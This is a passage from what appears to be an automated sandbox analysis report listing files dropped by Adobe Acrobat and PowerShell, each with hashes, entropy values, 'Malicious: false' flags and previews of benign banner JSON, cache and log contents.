Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93181_288855ActionBlock_1","campaignId":93181,"containerId":"1","controlGroupId":"","treatmentId":"533ab5eb-b236-4889-89a5-ac002261d71e","variationId":"288855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkVkaXRQREZSZHJBcHBGdWxsIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTRweCIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTJweCIsImZvbnRfc3R5bGUiOiItMSJ9LCJ0aXRsZSI6bnVsbCwiZGVzY3JpcHRpb24iOiJFZGl0IHRleHQsIGltYWdlcywgcGFnZXMsIGFuZCBtb3JlLiJ9LCJ0Y2F0SWQiOm51bGx9","da

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.7008193101440625
Encrypted:	false
SSDEEP:	24:Yv6XlJh+DBKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK5W:Yv8Jh+lEgqprtrS5OZjSlwTmAfSKA
MD5:	45E2920E73114110555F7F917F00D5B3
SHA1:	3F4B334EFAA72145BD3C48A4472B73F3B504D19F
SHA-256:	00112AD2383222997EFCD9AF882FD33496B1BB88ACC859FE018DFDD894ED333A
SHA-512:	21181CEB19CEA53F021AD0ACB0EE9E9EDA43A364D4880798C8B925B0F5666D4844E50E346882B7938B28795D55E4AC3A68FF713CF934F5867BDC8DB5719290A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260237967679576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfYdPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGg8Ukee9
MD5:	1BEAEE546850D9C0B7C746061071E861
SHA1:	1F306552476AE35D8BB3E73CB92402E69E8879E2
SHA-256:	EB1B3F875C8BF906DBDE382BF83DBC27D7F32652A0CA2E5C25C4656B2F38ECC4
SHA-512:	B1F0A9687E2DC7CEB75D2AC312D6D233A4023CD5D7AD50133CDC084E36327663C7BF259F894334884898D64078DCC8CCB760D12DCA7482C7BB6689F903B0915E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.245588304722161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJf+dPeUkwRe9:YvXKXnjq2vR/ZwHAKDVG28Ukee9
MD5:	2057B9DD183993EF92D49EF8FFADB192
SHA1:	A1412FD76057260B7A2D07E81C0AA98BA0584E14
SHA-256:	4570F061D05C85A9F004F5B71D0D719C4DF3FFE13A4D16DBBC23A32F1D39102C
SHA-512:	722E8346C7DA48777AA7D7AEF474F83A8C9831F2DF5FFB39B7C2542001650D443FF8B5E8E974094B96522DE97F1E1FA98418E9BEAFF4347F95BC07FCC3EFA202
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2440583439260875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfbPtdPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGDV8Ukee9
MD5:	C707CA8D2FBCA05AF92A0503C23C7F79
SHA1:	BD374848D1E3D0DF37D90D67C2E1A10BB9A0DB8F
SHA-256:	2E4D1250657AA1685E6DAD85F3F049851C826997F29EFA9A3AC69E68CD52DDB6
SHA-512:	93740A93CD4D206D89B81DFF7E3DDE52F85175BB4F790A236EC01DB1FC5066EBCF81D792F88C2C97E340EB0B0393F631CB340FD671CC354B060E8E648DE045B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2428467928481055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJf21rPeUkwRe9:YvXKXnjq2vR/ZwHAKDVG+16Ukee9
MD5:	1B819146EF739BFDDECAD1670A006060
SHA1:	50A501DD47B088C4C3A0EACE8DD2B28D9826DC18
SHA-256:	2823F8049D68BEB3AC3748A0FAECCE6F817E68EFE56FB02C1582E5D6B5734DA1
SHA-512:	0C0CF6BD1F0704CE8849D60E33D559582D91311B08C8F56D36B4903D5287E1A963F68C28546D7382641853CD3BF2B8B93239BB66205247B296947A87E1D6FCD9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66825530192814
Encrypted:	false
SSDEEP:	24:Yv6XlJh+DmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:Yv8Jh+cBgkDMUJUAh8cvM3
MD5:	324FB41062A1749DA33517EDBCC5425C
SHA1:	F9244D2D89E375D15B6980CE1321970CBCF15E24
SHA-256:	908A9BDBBEBCBF44A3496579E6DAF4AB214032698CDD2A794D114D4216B957AB
SHA-512:	C62C3554D7748F4AAE62F0E62E100B3F45A1F9316F30D8494DA9D136CA5C008CE86CAABFCD0A2DE3C8F40979956208A5C0DC0579D63D21C0E988DBF59E310F08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.219010339430861
Encrypted:	false
SSDEEP:	6:YEQXJ2HXn1VQL2vB3/dVlPIHAR0Y+DeoAvJfshHHrPeUkwRe9:YvXKXnjq2vR/ZwHAKDVGUUUkee9
MD5:	CFDA731066762FB3D97CA56FE4968610
SHA1:	25370C0D3A68748C16050985EBA4BCB67033EFB0
SHA-256:	80B5E2FB2E4873CA87967344EDDB5D7CDEC52A70BD027CAC0C6D015D5CAF3C05
SHA-512:	4E34BF59B164C44E89D9CAF8395DE71FC409EA2E0DFA312CE5830E73E3CBCE1D96AA88F63A78360793B3EE9945ED105E98A2C29E73B862A1831DABBD91D5FAA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.363893886208876
Encrypted:	false
SSDEEP:	12:YvXKXnjq2vR/ZwHAKDVGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhW9I:Yv6XlJh+Dx168CgEXX5kcIfANh3
MD5:	61D7C7299431FDB96BA8F7C87E14EFB2
SHA1:	E303CBDD63AE7B0527354A662D9F5923B0CD32A4
SHA-256:	001D9370262267B259CBEBE330F8503DFA68985954A91155AC8F07669267F547
SHA-512:	4B91C27C00A9734CF70CB1BB419C62C241133E21E6783635A53A1CE7C732BFCC9679900CE3E7B0A1DE6FBE39338DDBCBD2665709BFEAA563D8515E20274E180A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e47a672-1c51-44fa-9606-963750a67761","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1732218064778,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1732039879811}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.136059448213415
Encrypted:	false
SSDEEP:	24:YTCvyrcroIGaATiaykA3mxSRCIjGyJEYFYLFvgPjVBj0SSfqPC2UQp2LSS5PeqnO:YTEDkXwbyGEHIVFw0py2Aioh9v8
MD5:	E23C36BDB9277220D25A51551DC2A5EF
SHA1:	7AAA5F39F1BACCB35C4C484DC9A257015693C749
SHA-256:	D1E03A8E59642D445F85AC5132B84E2BD582BC1A2641FB799E44B6D580AD13C0
SHA-512:	D95A4EECBDC9F95E9245811F5E1BD8BDA1FC122369024245FAAF9FFC51032563D2EE5280461403C71788704E3ABD5ABA56F03911EEC89C4088459D755801AF5A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b01845a01ec0a3308e38e9e738058982","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1732039879000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3df737f8c9dcd228cc32416136c21cf4","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1732039879000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"12fb0a6aeff49074f1b2f736bebe0d4a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1732039879000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c116f9b41f0c5a1da0a7b654ec551e42","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1732039879000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"0f16459e5256199af9bb24d733f21c29","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1732039879000},{"id":"Edit_InApp_Aug2020","info":{"dg":"a63e1667fb5b03786634adb5a3dab6ea","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3189688413394272
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahVdQfSypilIDdQfU:lNVms9WfMwbPahISdU
MD5:	C4B1CEDA1E167931B84345F1DDAA3923
SHA1:	A3C251AE5386D74C0EF65F5B04376FF490AD2FC6
SHA-256:	1B58E6E3FBD30688359830D2DF27BE2FD8911D1D5D58EDBC25B17CBE6BA87E41
SHA-512:	BC5AB62DD42B48AC40AC1798B2A5BA8D6EF296DC0D300C3B7512329210E555C1D8AD35F6214736E4C5A77389DD60637A4AC825B729F913CF1F8890B7D65DA303
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7816998550382097
Encrypted:	false
SSDEEP:	48:7MWWR1CPmPbPahVdQfTypilI9qFl2GL7msT:7nWfMwbPahITIKVmsT
MD5:	A93DF4C9AAA48A320F4E01B190350016
SHA1:	2380A4401476AFD8EDDEDDB170995F706CDD6364
SHA-256:	623C77810C4943D2D566E89F6E0EFB0AE03B605F735AEBB9AE51F435AE1CF745
SHA-512:	75063B0512AD43DD11F82D73BE36D246B8781FFE04E902C503C2AA2B3C2161E049A15369773C1ABA6C771877CFE8A8FECAB66B4D2573BDF12B42A7532F4E4D5C
Malicious:	false
Preview:	.... .c.......6..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghNZX619v8uN35dPzoufpMInyYyu:6a6TZ44ADE/ZX619vDqqMIyK
MD5:	19A42A6AF1909A53A1D89423413C3334
SHA1:	E27123FCD6D1B6013948BE35F38CEECE0775E8D5
SHA-256:	50408D7109CFE0BDF6FE5315D3B10B3791A1395592D828B8A636D8C396C4ECF6
SHA-512:	5D88012A79DF1306532132761ACCB26790464B2AD79F2ED9CD8D5D8A4949FB000995C6E2BD46683E0C61A262154207E7278488940059717D6C8EAE7B2BCE25F3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1368
Entropy (8bit):	5.420462021857095
Encrypted:	false
SSDEEP:	24:3yuWNESKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9t7J0gt/NKmNn8+r8H/:XWNESU4y4RQmFoUeCamfm9qr9tK8NfnK
MD5:	D53BFD99B6C80500490D55EDF4442271
SHA1:	2AA31EC79D71A1A8C4F0B5E4D6508469B6A92A1A
SHA-256:	89E2B55C80A9756BE7AD4AA114217F43E39D2B52FBD9366282BD923C2AAAE7A7
SHA-512:	F6D591614DC21803C7D5995127498FAACDFF0BA8EF863B479D9C8E95D00D0AF42E870E1601B60FF7FB90BCA5D8524D391823E19E1619D1CA4EF3E8DA84D3AB57
Malicious:	false
Preview:	@...e.................................R..............@..........H...............x..}...@..."~.u....... .System.IO.Compression.FileSystemH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Ut

C:\Users\user\AppData\Local\Temp\MSIbd7e6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486816736969832
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8mUl8v8H:Qw946cPbiOxDlbYnuRK6H
MD5:	5EAD462D579E9643CF593D03EDB19F10
SHA1:	62230FC118D271333959E8AD8161313F285274E5
SHA-256:	7A9157EA58219C31EBC9AABC05C3FBCF3CAD9DD29F422B24EA08249397FE43E2
SHA-512:	A212BB81C7E9CE83ADDD1ADC2406EA9142E30B983791599E85CC58FF4454C8278129B6013DFE9FF5F61E1B77EF42ACADFD5AD687BA72AA321369AE390D7E14EA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.9./.1.1./.2.0.2.4. . .1.3.:.1.1.:.2.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hff1bw0j.uwu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrlfql21.ev0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-19 13-11-12-053.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3475930999747145
Encrypted:	false
SSDEEP:	384:LG6DCmQ+scP/hbNuk66lXp+bbY/WeyWwVWYetJvV9Ga6AWGS0BCsc1cl06c3hC6F:p9a
MD5:	9090D5F3D1EC7405E2DF3D07494452C3
SHA1:	A6312AE3352DA96954F8CB0063C592B7EC7DD0A1
SHA-256:	DF5D3CCD4E42391369C11D4E22C2D44CFF81F977871CEA77FA154F22DF4CDC66
SHA-512:	ABA2AE5F9F836E7BE17EDB578EE3ED4C78E66A514A2D052BE8DED3780EFF7718C2DB0F0A14EAAD904B809451EEF3F808A47089E9547C234E1AF432B8FD1CA1ED
Malicious:	false
Preview:	SessionID=844b4966-7067-4947-a803-9a9f70619816.1732039872074 Timestamp=2024-11-19T13:11:12:074-0500 ThreadID=4676 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=844b4966-7067-4947-a803-9a9f70619816.1732039872074 Timestamp=2024-11-19T13:11:12:075-0500 ThreadID=4676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=844b4966-7067-4947-a803-9a9f70619816.1732039872074 Timestamp=2024-11-19T13:11:12:075-0500 ThreadID=4676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=844b4966-7067-4947-a803-9a9f70619816.1732039872074 Timestamp=2024-11-19T13:11:12:075-0500 ThreadID=4676 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS 